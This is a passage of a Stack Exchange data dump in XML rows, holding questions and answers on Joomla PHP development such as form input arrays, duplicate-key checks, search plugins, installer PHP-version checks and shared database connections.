  <row Id="22774" PostTypeId="2" ParentId="22716" CreationDate="2018-05-01T22:30:36.423" Score="0" Body="&lt;p&gt;Change the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$playername = $jinput-&amp;gt;getString('playername');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$playername = $jinput-&amp;gt;get('playername','','array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should give you an array with all of the names you enter into your form. You may want to sanitize that array and remove any empty results prior to your DB query so you don't end up with players that have no name. An example of this would be entering 14 players for week one, but week two several players were absent and you only entered 10 records. You would have 4 records that are empty in the array.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2018-05-01T22:30:36.423" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22775" PostTypeId="2" ParentId="5844" CreationDate="2018-05-01T22:33:48.143" Score="0" Body="&lt;p&gt;See my free tool &lt;a href=&quot;https://shop.st42.fr/en/products/virtuemart-media-folder-clear.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://shop.st42.fr/en/products/virtuemart-media-folder-clear.htm&lt;/a&gt; you have 2 buttons, one to remove unused images and 1 to clear database error(missing image &gt; products for eg.)&lt;/p&gt;&#xA;" OwnerUserId="12499" LastActivityDate="2018-05-01T22:33:48.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22776" PostTypeId="2" ParentId="22704" CreationDate="2018-05-01T22:37:14.370" Score="1" Body="&lt;p&gt;If this menu item is a list of all the blog articles you can simple add canonical tags that will alleviate the duplicate content. Then add unique page titles once you are actually reading the article itself. You will have to dig around and see where you can add this code. You may be able to use something like the FlexiCode Module and publish it into a debug position to add these head links. You will also have to dig around to get your components pagination variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addHeadLink(JURI::current().(($this-&amp;gt;pagination-&amp;gt;pagesCurrent &amp;gt; 1)?'?start='.($this-&amp;gt;pagination-&amp;gt;limitstart):''), 'canonical');&#xA;if($this-&amp;gt;pagination-&amp;gt;limitstart - $this-&amp;gt;pagination-&amp;gt;limit == 0){&#xA;    $doc-&amp;gt;addHeadLink(JUri::current(), 'prev');&#xA;}else{&#xA;    if($this-&amp;gt;pagination-&amp;gt;limitstart - $this-&amp;gt;pagination-&amp;gt;limit &amp;gt; 0){&#xA;        $doc-&amp;gt;addHeadLink(JUri::current().'?start='.($this-&amp;gt;pagination-&amp;gt;limitstart - $this-&amp;gt;pagination-&amp;gt;limit), 'prev');&#xA;    }&#xA;}&#xA;if($this-&amp;gt;pagination-&amp;gt;pagesTotal &amp;gt; 1){&#xA;    $doc-&amp;gt;addHeadLink(JUri::current().'?start='.($this-&amp;gt;pagination-&amp;gt;pagesCurrent * $this-&amp;gt;pagination-&amp;gt;limit), 'next');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2018-05-01T22:37:14.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22777" PostTypeId="2" ParentId="22770" CreationDate="2018-05-01T22:38:52.413" Score="0" Body="&lt;p&gt;If you added Joomla item menu links, this is used first.&#xA;So if you have a menu with alias &lt;strong&gt;cat1&lt;/strong&gt; your products in this category have url example.com/cat1/product1-detail&lt;/p&gt;&#xA;" OwnerUserId="12499" LastActivityDate="2018-05-01T22:38:52.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22779" PostTypeId="2" ParentId="22032" CreationDate="2018-05-01T22:59:47.567" Score="1" Body="&lt;p&gt;Sounds like you have some of your method logic in the wrong place. Try adding your saveOrder method to your views controller, not to the model. Controllers perform actions, models return data. You will probably want to fire off an ajax call to the controller to perform live sorting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download my JoomRoster component from the JED. Unzip it and look in the admin folder for one of the list views and see how I implemented it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/contacts-and-feedback/contact-details/joomroster/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/contacts-and-feedback/contact-details/joomroster/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2018-05-01T22:59:47.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22782" PostTypeId="1" AcceptedAnswerId="22785" CreationDate="2018-05-02T12:26:37.810" Score="3" ViewCount="3145" Body="&lt;p&gt;I have a db-table called &lt;code&gt;league&lt;/code&gt; where the &lt;code&gt;mail&lt;/code&gt; column is the unique id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|name |mail               |&#xA;|Bryan|bryan@hotmail.com  |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a frontend where users can sign up and then I have this for backend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;$name = $jinput-&amp;gt;getString('name');&#xA;$mail = $jinput-&amp;gt;getString('mail');&#xA;&#xA;$columns = array('name', 'mail');&#xA;&#xA;$values = array($db-&amp;gt;quote($name), $db-&amp;gt;quote($mail));&#xA;&#xA;$query&#xA;    -&amp;gt;insert($db-&amp;gt;quoteName('league'))&#xA;    -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;    -&amp;gt;values(implode(',', $values));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if Bryan tries to sign up with the same mail, an error occurs. How do I write a message instead of the normal error-page? I want something like: &quot;Thanks for signing up&quot; if the query is successful and &quot;You're already signed up&quot; if the query fails.&lt;/p&gt;&#xA;" OwnerUserId="12400" LastEditorUserId="12352" LastEditDate="2018-07-23T14:00:31.677" LastActivityDate="2019-01-22T21:30:36.183" Title="Check if INSERT query was successful or failed because of a duplicate UNIQUE KEY" Tags="|joomla-3.x|php|mysql|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22783" PostTypeId="1" AcceptedAnswerId="22786" CreationDate="2018-05-02T12:39:21.580" Score="0" ViewCount="90" Body="&lt;p&gt;My organization uses Joomla! for its customer facing site. There is a database that I only have REST API access to. I'm trying to ping that API to include results from it alongside the normal Joomla! site search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote the following code going along with the example here:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_search_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_search_plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Prevent direct access&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;// Require API class&#xA;require_once APIClass.php';&#xA;&#xA;class PlgSearchApiinjector extends JPlugin&#xA;{&#xA;    /**&#xA;     * Constructor Function&#xA;     */&#xA;    public function __construct(&amp;amp;$subject, $config)&#xA;    {&#xA;        parent::__construct($subject, $config);&#xA;        $this-&amp;gt;loadLanguage();&#xA;    }&#xA;&#xA;    /**&#xA;     * Includes this plugin in list of places to search&#xA;     */&#xA;    public function onContentSearchAreas()&#xA;    {&#xA;        static $areas = array(&#xA;            'plg_apiinjector' =&amp;gt; 'API Search Result Injector - Unified Search',&#xA;        );&#xA;        return $areas;&#xA;    }&#xA;&#xA;    /**&#xA;     * Pings API and injects results&#xA;     */&#xA;    public function onContentSearch($text, $phrase = '', $ordering = '', $areas = null)&#xA;    {&#xA;        $user = JFactory::getUser();&#xA;        $groups = implode(',', $user-&amp;gt;getAuthorisedViewLevels());&#xA;&#xA;        // If the array is not correct, return it:&#xA;        if (is_array($areas)) {&#xA;            if (!array_intersect($areas, array_keys($this-&amp;gt;onContentSearchAreas()))) {&#xA;                return array();&#xA;            }&#xA;        }&#xA;&#xA;        // Trim spaces from beginning and end of search terms.&#xA;        $text = trim($text);&#xA;&#xA;        // Return Array when nothing was filled in.&#xA;        if ($text == '') {&#xA;            return array();&#xA;        }&#xA;&#xA;        // Create new API object and complete search&#xA;        $api = new API;&#xA;        $results = $api-&amp;gt;keywordSearch($text);&#xA;&#xA;        // Create a rows array to return&#xA;        $rows = [];&#xA;&#xA;        // Loop through the results and add each one to the rows array.&#xA;        foreach ($results as $result) {&#xA;&#xA;            // Extract portion of the result and prepare it for insertion into the $rows[] array.&#xA;            $title = $result['Title'];&#xA;            $section = 'Catalog';&#xA;            $text = $result['Summary'];&#xA;            $browsernav = 1;&#xA;            $created = date(&quot;Y-m-d H:i:s&quot;);&#xA;            $link = $result['WebLink'];&#xA;&#xA;&#xA;            $tempObject = (object) array(&#xA;                'href' =&amp;gt; $link,&#xA;                'title' =&amp;gt; $title,&#xA;                'section' =&amp;gt; $section,&#xA;                'created' =&amp;gt; $created,&#xA;                'text' =&amp;gt; $text,&#xA;                'browsernav' =&amp;gt; $browsernav,&#xA;            );&#xA;&#xA;            // Add the object to the rows array&#xA;            array_push($rows, $tempObject);&#xA;&#xA;&#xA;            // Return rows object&#xA;            return $rows;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn't working the way I expected. Based on my tests, it doesn't appear that onContentSearch() is ever even being called. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain to me what I'm doing wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing... As much as I would love to index the second database and index everything with Tika, that's not an option given the restrictions that are placed on me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="12503" LastActivityDate="2018-07-01T16:38:46.353" Title="Including Results from API Call in Joomla! Search Results" Tags="|joomla-3.x|plugin|plugin-events|restful-api|com-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22785" PostTypeId="2" ParentId="22782" CreationDate="2018-05-02T13:50:25.080" Score="3" Body="&lt;p&gt;You will need to perform a &lt;code&gt;select&lt;/code&gt; query against your database table, searching for the email address. If a result is returned, you can throw an alert message, else perform the &lt;code&gt;insert&lt;/code&gt; query, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$name   = $jinput-&amp;gt;getString('name');&#xA;$mail   = $jinput-&amp;gt;getString('mail');&#xA;&#xA;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;      -&amp;gt;select($db-&amp;gt;quoteName('mail'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('league'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('mail') . ' = '. $db-&amp;gt;quote($mail));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadResult();&#xA;&#xA;if (!$result)&#xA;{&#xA;    $columns = array('name', 'mail');&#xA;    $values = array($db-&amp;gt;quote($name), $db-&amp;gt;quote($mail));&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt;clear();&#xA;    $query-&amp;gt;insert($db-&amp;gt;quoteName('league'))&#xA;        -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;        -&amp;gt;values(implode(',', $values));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;}&#xA;else&#xA;{&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('Email already exists', 'error');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-05-03T10:13:02.840" LastActivityDate="2018-05-03T10:13:02.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22786" PostTypeId="2" ParentId="22783" CreationDate="2018-05-02T14:54:46.167" Score="0" Body="&lt;p&gt;Okay... So I figured it out on my own. First, I didn't have consistency in the plugin names. Second, I needed to remove the plg_ prefix from the plugin name. &lt;/p&gt;&#xA;" OwnerUserId="12503" LastActivityDate="2018-05-02T14:54:46.167" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22787" PostTypeId="1" CreationDate="2018-05-02T16:31:35.163" Score="1" ViewCount="72" Body="&lt;p&gt;I'm trying to make a dropdown box from my table (&lt;code&gt;#__projectinfo&lt;/code&gt;) where I can choose, for example, an article and show in an editor ready-to-use, update or save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The objective is to choose an email body and send it to a user, the select box is to choose the email, but I need the ready-to-use editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g: like an article editor (see below image)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R3vYt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R3vYt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12501" LastEditorUserId="12352" LastEditDate="2018-05-26T08:05:23.227" LastActivityDate="2018-12-19T15:30:01.440" Title="Joomla Custom-Component Select Field with Editor" Tags="|joomla-3.x|custom-component|editor|dropdown|" AnswerCount="1" CommentCount="2" ClosedDate="2019-01-02T11:01:50.983" ContentLicense="CC BY-SA 4.0" />
  <row Id="22788" PostTypeId="1" AcceptedAnswerId="22790" CreationDate="2018-05-02T22:02:19.497" Score="1" ViewCount="152" Body="&lt;p&gt;One of my menu items has a &lt;code&gt;hidden&lt;/code&gt; tag on it. I don't recall seeing a setting or field for that. The menu item shows up on the site as expected. Why is it there and how might I have inadvertently placed it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jXFDh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jXFDh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2018-05-03T05:17:33.427" Title="Why does one menu item have a Hidden tag?" Tags="|menu-item|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22790" PostTypeId="2" ParentId="22788" CreationDate="2018-05-03T05:17:33.427" Score="2" Body="&lt;p&gt;This option allows you to hide menu items in a rendered menu. This makes full ghost menus unnecessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JHypk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JHypk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlashack.com/blog/tutorials/hide-menu-items/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/tutorials/hide-menu-items/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2018-05-03T05:17:33.427" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22791" PostTypeId="1" AcceptedAnswerId="23094" CreationDate="2018-05-03T10:36:26.763" Score="1" ViewCount="46" Body="&lt;p&gt;I am trying to locate a Menu that is not located in the Menu Manager.&#xA;The website is: &lt;a href=&quot;http://wholechild.it&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wholechild.it&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The menu I am trying to locate is the ABOUT US. It doesn't seem to be created same as the other menus. The class is different and it has an inline CSS style I would like to edit as well. I want to find the file that controls this ABOUT US, to translate it into Italian. I don't know if it's controlled by a module or by a component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance to everyone that could help me find this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9VJPN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9VJPN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12505" LastActivityDate="2018-07-02T23:59:20.563" Title="Trying to locate a menu file that is not into the Menus Manager" Tags="|menu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22792" PostTypeId="2" ParentId="22791" CreationDate="2018-05-03T11:59:12.680" Score="1" Body="&lt;p&gt;That class seems to relate the the Helix Megamenu, rather than being core Joomla.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CMS-on-top-of-a-CMS extensions like Helix are usually an awful mess, but I'd try reading the Megamenu &lt;a href=&quot;https://www.joomshaper.com/documentation/helix-framework/helix3#megamenu&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; and look in the places it mentions.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-05-03T11:59:12.680" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22793" PostTypeId="1" CreationDate="2018-05-04T07:33:11.910" Score="3" ViewCount="120" Body="&lt;p&gt;I've been developing a component, and have been trying to find some information, to no avail, of having my component perform a check of the PHP version before install. If PHP is greater than 7, then install. But, if PHP is less than 7 (such as 5.6) then show an error that PHP 7 is required, then stop the install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already figure that this will go into script.php in the preflight, but I'm struggling trying to find something to use to do the check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="11122" LastActivityDate="2018-05-04T07:47:49.120" Title="Component Development PHP Version Check" Tags="|joomla-3.x|php|component|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22794" PostTypeId="2" ParentId="22793" CreationDate="2018-05-04T07:47:49.120" Score="5" Body="&lt;p&gt;Lots of components have a check like that. Here's the top of admin tools core install script eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected $minimumPHPVersion = '5.3.3';&#xA;&#xA;public function preflight($type, $parent)&#xA;    {&#xA;        // Check the minimum PHP version&#xA;        if (!version_compare(PHP_VERSION, $this-&amp;gt;minimumPHPVersion, 'ge'))&#xA;        {&#xA;            $msg = &quot;&amp;lt;p&amp;gt;You need PHP $this-&amp;gt;minimumPHPVersion or later to install this package&amp;lt;/p&amp;gt;&quot;;&#xA;            JLog::add($msg, JLog::WARNING, 'jerror');&#xA;&#xA;            return false;&#xA;        }&#xA;....etc &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see its using both the core constant for the version, and the core function for version comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/reserved.constants.php&quot; rel=&quot;noreferrer&quot;&gt;PHP Doc re the existance of constant PHP_VERSION&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.version-compare.php&quot; rel=&quot;noreferrer&quot;&gt;PHP Doc on using version compare&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-05-04T07:47:49.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22795" PostTypeId="1" CreationDate="2018-05-04T16:19:36.083" Score="1" ViewCount="5592" Body="&lt;p&gt;In my login form, custom layout fields are displayed by the &lt;code&gt;$field-&amp;gt;input&lt;/code&gt; variable. Unfortunately, those fields are displayed without the placeholder attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to add this attribute to the field which is displayed by variable above?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getFieldset($fieldset-&amp;gt;name) as $name =&amp;gt; $field) : ?&amp;gt;&#xA;    &amp;lt;?php if ($field-&amp;gt;hidden === false) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;sc-group&quot;&amp;gt;&#xA;            &amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12491" LastEditorUserId="12352" LastEditDate="2018-05-26T08:08:09.597" LastActivityDate="2019-08-05T09:11:27.073" Title="How to add placeholder to input field via php variable" Tags="|custom-field|form-fields-types|fields|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22796" PostTypeId="2" ParentId="22795" CreationDate="2018-05-04T17:28:20.343" Score="1" Body="&lt;p&gt;I believe that &lt;code&gt;hint&lt;/code&gt; is the attribute you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;name&quot;&#xA;       label=&quot;Name&quot;&#xA;       type=&quot;text&quot;&#xA;       required=&quot;true&quot;&#xA;       hint=&quot;Placeholder Text&quot;&#xA;       default=&quot;&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7669" LastActivityDate="2018-05-04T17:28:20.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22797" PostTypeId="1" CreationDate="2018-05-04T20:54:16.797" Score="1" ViewCount="1090" Body="&lt;p&gt;I have multiple modules on the same page that are individually connecting to the same external database through pdo connections. The website is getting slower since I added more modules.  My guess is that connecting multiple times to the same external db is slowing it down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to connect one time to the external db and use this connection in all modules. How do I do this? I also want the website to be able to update without removing my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to use normal php query instead of the joomla query stuff, that is why I did not open a new connection to the external database with JFactory.&lt;/p&gt;&#xA;" OwnerUserId="12510" LastEditorUserId="12352" LastEditDate="2018-05-26T08:06:06.193" LastActivityDate="2019-12-25T18:02:20.377" Title="Use one pdo connection across multiple modules?" Tags="|php|mysql|performance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22798" PostTypeId="2" ParentId="22797" CreationDate="2018-05-05T02:51:28.960" Score="1" Body="&lt;p&gt;There are a bunch of ways to achieve what you're after - the following is merely one idea.  Instead of writing your own singleton you can attached an object with your db connection (and perhaps a bunch of your db code) to one of the available singletons that you already have access to via the factory. The following code would exist in your module's entry file and the additional class would be in a file in the same directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Grab a copy of the application object&#xA;$app = JFactory::getApplication();&#xA;// Check if we've already added our extra object&#xA;if(!isset($app-&amp;gt;extraDB)){&#xA;    require_once 'ExtraDB.php'; // include the file with a class with all our stuff in it&#xA;    $app-&amp;gt;extraDB = new ExtraDB; // Piggyback our new db object onto the application&#xA;}&#xA;// the same object is now available to all modules containing this code&#xA;echo $app-&amp;gt;extraDB-&amp;gt;example();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-05-05T02:51:28.960" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22799" PostTypeId="1" CreationDate="2018-05-05T04:05:11.973" Score="0" ViewCount="106" Body="&lt;p&gt;I want to have the introtext and then the rest of the text in Hikashop product details page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the product description I insert the &lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&lt;/code&gt; to separate the introtext and then in show_default.php:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To show the introtext (at the top of product details page) I use this code with success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo preg_replace('#&amp;lt;hr *id=&quot;system-readmore&quot; */&amp;gt;.*#is','',$this-&amp;gt;row-&amp;gt;product_description);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the bottom of the same page, how can I show the rest of description? I mean the text that is after &lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2199" LastEditorUserId="12352" LastEditDate="2018-05-26T08:07:13.850" LastActivityDate="2020-04-15T13:03:00.503" Title="Hikashop, extract text after read more" Tags="|joomla-3.x|php|hikashop|regex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22800" PostTypeId="2" ParentId="449" CreationDate="2018-05-05T10:37:16.463" Score="0" Body="&lt;p&gt;Ideally install pecl then extend the appropriate JDatabase* class and override JFactory::getDbo() with an implementation of the below to eliminate the need for a squillion code updates to wrap every critical db query in try catch statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next best thing for me is the below support for the old way and the new way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include this somewhere&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class jDbUtils&#xA;{&#xA;    protected static $dbErrorMessage = '';&#xA;&#xA;    public static function stupidJ3CatchDatabaseExecute($db, $cmd, $report = false) {&#xA;        self::$dbErrorMessage = '';&#xA;        try {&#xA;            $res = $db-&amp;gt;$cmd();&#xA;            // legacy db error support&#xA;            if (method_exists($db, 'getErrorNum') &amp;amp;&amp;amp; $db-&amp;gt;getErrorNum())&#xA;                throw new Exception($db-&amp;gt;getErrorMsg());&#xA;            return $res;&#xA;        } catch(Exception $e) {&#xA;            self::$dbErrorMessage = $e-&amp;gt;getMessage();&#xA;            if ($report)&#xA;                self::reportIfDbError();&#xA;            return false;&#xA;        }&#xA;    }&#xA;&#xA;    public static function reportIfDbError()&#xA;    {&#xA;        if (self::$dbErrorMessage) {&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage(self::$dbErrorMessage, 'error');&#xA;            return true;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use it like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function someDbInteraction(){&#xA;    $db = JFactory::getDbo();&#xA;    $db-&amp;gt;setQuery('SELECT no_such_col FROM no_such_table LIMIT 1');&#xA;    $res = jDbUtils::stupidJ3CatchDatabaseExecute($db, 'loadResult');&#xA;    if (jDbUtils::reportIfDbError())&#xA;        return false;&#xA;    // do more processing&#xA;    return $res;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12512" LastActivityDate="2018-05-05T10:37:16.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22801" PostTypeId="2" ParentId="14978" CreationDate="2018-05-05T15:37:13.580" Score="2" Body="&lt;p&gt;I'll recommend this syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&#xA;                    array(&#xA;                        $db-&amp;gt;qn('b.virtuemart_product_id'),&#xA;                        &quot;CASE WHEN &quot; . $db-&amp;gt;qn('b.product_override_price') . &quot; &amp;gt; 0&quot; .&#xA;                            &quot; THEN &quot; . $db-&amp;gt;qn('b.product_override_price') .&#xA;                            &quot; WHEN &quot; . $db-&amp;gt;qn('b.product_discount_id') . &quot; &amp;gt; 0&quot; .&#xA;                            &quot; THEN &quot; . $db-&amp;gt;qn('b.product_price') . &quot; - (&quot; . $db-&amp;gt;qn('b.product_discount_id') . &quot; * &quot; . $db-&amp;gt;qn('b.product_price') . &quot; / 100)&quot; .&#xA;                            &quot; WHEN &quot; . $db-&amp;gt;qn('b.product_price') . &quot; &amp;lt; 1&quot; .&#xA;                            &quot; THEN 1&quot; .&#xA;                            &quot; ELSE &quot; . $db-&amp;gt;qn('b.product_price') .&#xA;                            &quot; END AS &quot; . $db-&amp;gt;qn('final_price')&#xA;                    )&#xA;                )&#xA;                -&amp;gt;from($db-&amp;gt;qn('#__virtuemart_product_categories', 'a'))&#xA;                -&amp;gt;innerJoin($db-&amp;gt;qn('#__virtuemart_product_prices', 'b') . &quot; ON &quot; . $db-&amp;gt;qn('b.virtuemart_product_id') . &quot; = &quot; . $db-&amp;gt;qn('a.virtuemart_product_id'))&#xA;                -&amp;gt;where($db-&amp;gt;qn('a.virtuemart_category_id') . &quot; = &quot; . (int)$category_id)&#xA;                -&amp;gt;order($db-&amp;gt;qn('final_price'));&#xA;    echo $query-&amp;gt;dump();    // of course, don't do this on your live/public site&#xA;    $db-&amp;gt;setQuery($query);&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;        var_export($db-&amp;gt;loadObjectList());&#xA;    echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;} catch (Exception $e) {&#xA;    echo &quot;&amp;lt;div&amp;gt;&quot;, $e-&amp;gt;getMessage(), &quot;&amp;lt;/div&amp;gt;&quot;;  // of course, don't do this on your live/public 